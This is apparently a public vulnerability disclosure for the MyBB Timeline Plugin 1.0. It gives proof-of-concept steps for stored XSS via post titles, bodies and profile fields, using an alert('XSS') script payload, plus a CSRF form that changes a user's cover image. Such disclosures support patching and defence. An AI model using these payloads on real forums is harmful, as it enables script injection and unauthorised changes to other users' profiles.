MyBB Timeline Plugin 1.0 - Persistent Cross-Site Scripting

# Exploit Title: MyBB Timeline Plugin 1.0 - Cross-Site Scripting / CSRF
# Date: 1/21/2021
# Author: 0xB9
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1428
# Version: 1.0
# Tested on: Windows 10

1. Description:
MyBB Timeline replaces the default MyBB user profile. This introduces cross-site scripting on user profiles & a CSRF that allows for the users timeline banner/image to be changed.
 

2. Proof of Concept:

~ XSS via Thread/Post ~
- Make a new thread or reply to an existing thread
- Input a payload in either the thread title or main post itself   <script>alert('XSS')</script>
Payload will execute when visiting your profile.

~ XSS via Location/Bio ~
- Go to User CP -> Edit Profile
- Input a payload in the Location/Bio   <script>alert('XSS')</script>
Payload will execute when visiting your profile.

~ CSRF ~
<form class="coverpicForm" action="http://localhost/mybb/timeline.php?action=profile&uid=1" style="display: block;">
	<input type="text" name="coverpic" placeholder="Add Image URL" required="">
	<input type="hidden" name="do_coverpic" value="change">
	<input type="submit" value="Change">
</form>